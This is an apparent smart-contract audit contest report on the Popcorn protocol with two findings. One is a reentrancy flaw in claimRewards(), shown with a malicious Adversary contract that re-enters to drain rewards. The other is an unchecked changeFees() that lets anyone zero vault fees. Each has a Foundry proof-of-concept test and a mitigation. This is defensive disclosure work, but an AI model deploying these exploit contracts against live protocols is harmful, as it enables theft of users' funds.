Popcorn contest - critical-or-high's results

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L179 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L200 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L186

Vulnerability details

Impact

Contract MultiRewardStaking is vulnerable to re-entrancy allowing to drain all the reward from the contract.

Function claimRewards() doesn't have a protection from re-entrancy.

Inner function _lockToken() is called from claimRewards(). Inside _lockToken() transferring of tokens is happening.

The variable with user's reward is updated only in the end.

If reward token has a callback in transfer function, malicious user could exploit re-entrancy vulnerability to drain all the reward.

Proof of Concept

Suppose we have an ERC20 token with a callback inside transfer().

contract TokenWithCallback is MockERC20 {
  constructor(string memory name_, string memory symbol_, uint8 decimals_ ) MockERC20(name_, symbol_, decimals_) {
  }

  function transfer(address to, uint256 amount) public override returns (bool) {
    payable(to).call("");
    _transfer(msg.sender, to, amount);
    return true;
  }
}

Here is the malicious contract that exploits re-entrancy.

contract Adversary {
  MultiRewardStaking staking;
  IERC20 stakingToken;
  IERC20 rewardToken;
  uint256 n;
  uint8 cnt;
  constructor(
    MultiRewardStaking _staking,
    IERC20 _stakingToken, 
    IERC20 _rewardToken, 
    uint256 _n
  ) {
    staking = _staking;
    stakingToken = _stakingToken;
    rewardToken = _rewardToken;
    n = _n;
  }
  function deposit(uint256 amount) external {
    stakingToken.approve(address(staking), amount);
    staking.deposit(amount);
  }

  function claim() external {
    IERC20[] memory rewardTokens = new IERC20[](1);
    rewardTokens[0] = rewardToken;
    staking.claimRewards(address(this), rewardTokens);
  }

  fallback() external payable {
    if (cnt < n) {
      cnt++;
      IERC20[] memory rewardTokens = new IERC20[](1);
      rewardTokens[0] = rewardToken;
      staking.claimRewards(address(this), rewardTokens);
    }
  }
}

Finally, here is the test that shows that Alice gets more reward than Bob. They both stake the same amount ot staking tokens for the same duration.

function test_reentrancy_claim_reward() public {
    // Token with callback in transfer()
    _addRewardTokenWithEscrow(rewardToken3);

    stakingToken.mint(alice, 5 ether);

    stakingToken.mint(bob, 5 ether);

    // Fair Bob
    vm.startPrank(bob);

    stakingToken.approve(address(staking), 5 ether);
    staking.deposit(1 ether);

    vm.stopPrank();

    //Cheater Alice
    vm.startPrank(alice);

    Adversary adv = new Adversary(
      staking,
      IERC20(address(stakingToken)),
      iRewardToken3,
      3
    );

    stakingToken.transfer(address(adv), 5 ether);
    adv.deposit(1 ether);

    vm.stopPrank();

    vm.warp(block.timestamp + 10);

    // Fair Bob
    vm.startPrank(bob);

    IERC20[] memory rewardsTokenKeys = new IERC20[](1);
    rewardsTokenKeys[0] = iRewardToken3;
    staking.claimRewards(bob, rewardsTokenKeys);
    uint256 rewardAmountBob = iRewardToken3.balanceOf(address(bob));

    vm.stopPrank();

    //Cheater Alice
    vm.startPrank(alice);

    adv.claim();

    uint256 rewardAmountAlice = iRewardToken3.balanceOf(address(adv));

    assertTrue(rewardAmountAlice > rewardAmountBob);
  }

Tools Used

Manual review.

Recommended Mitigation Steps

Implement re-entrancy protection for claimRewards().

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L540-L546

Vulnerability details

Impact

Changing fees for a vault are done in two steps. By first calling proposeFees(), it should be done by the vault creator. And after that by calling changeFees(). Function changeFees is callable by anyone.

But it's not enforced correctly that changeFees() is only callable after proposeFees() is called by the owner.

As a result, anyone can reset (set all fees to 0) for any vault.

For example, if function proposeFees() hasn't been ever called. Variable proposedFees will be 0 and proposedFeeTime will be 0 and and this condition holds. So, finally fees will be 0.

Proof of Concept

You can add the test below to VaultController.t.sol

  function test__reset_fees_for_vault() public {
        addTemplate("Adapter", templateId, adapterImpl, true, true);
        addTemplate("Strategy", "MockStrategy", strategyImpl, false, true);
        addTemplate("Vault", "V1", vaultImpl, true, true);
        controller.setPerformanceFee(uint256(1000));
        controller.setHarvestCooldown(1 days);
        rewardToken.mint(address(this), 10 ether);
        rewardToken.approve(address(controller), 10 ether);

        swapTokenAddresses[0] = address(0x9999);
        address stakingClone = 0x949DEa045FE979a11F0D4A929446F83072D81095;

        address adapterClone = controller.deployAdapter(
            iAsset,
            DeploymentArgs({id: templateId, data: abi.encode(uint256(300))}),
            DeploymentArgs({id: "", data: ""}),
            0
        );

        uint256 callTimestamp = block.timestamp;
        address vaultClone = controller.deployVault(
            VaultInitParams({
                asset: iAsset,
                adapter: IERC4626(address(adapterClone)),
                fees: VaultFees({
                    deposit: 100,
                    withdrawal: 200,
                    management: 300,
                    performance: 400
                }),
                feeRecipient: feeRecipient,
                owner: address(this)
            }),
            DeploymentArgs({id: "", data: ""}),
            DeploymentArgs({id: "", data: ""}),
            address(0),
            abi.encode(
                address(rewardToken),
                0.1 ether,
                1 ether,
                true,
                10000000,
                2 days,
                1 days
            ),
            VaultMetadata({
                vault: address(0),
                staking: address(0),
                creator: address(this),
                metadataCID: metadataCid,
                swapTokenAddresses: swapTokenAddresses,
                swapAddress: address(0x5555),
                exchange: uint256(1)
            }),
            0
        );

        vm.prank(address(1337));

        VaultFees memory feesBefore = IVault(vaultClone).fees();

        assertEq(feesBefore.deposit, 100);

        IVault(vaultClone).changeFees();

        VaultFees memory feesAfter = IVault(vaultClone).fees(); 

        assertEq(feesAfter.deposit, 0);
    }

Tools Used

Manual review.

Recommended Mitigation Steps

Ensure that changeFees() is called only after proposeFees().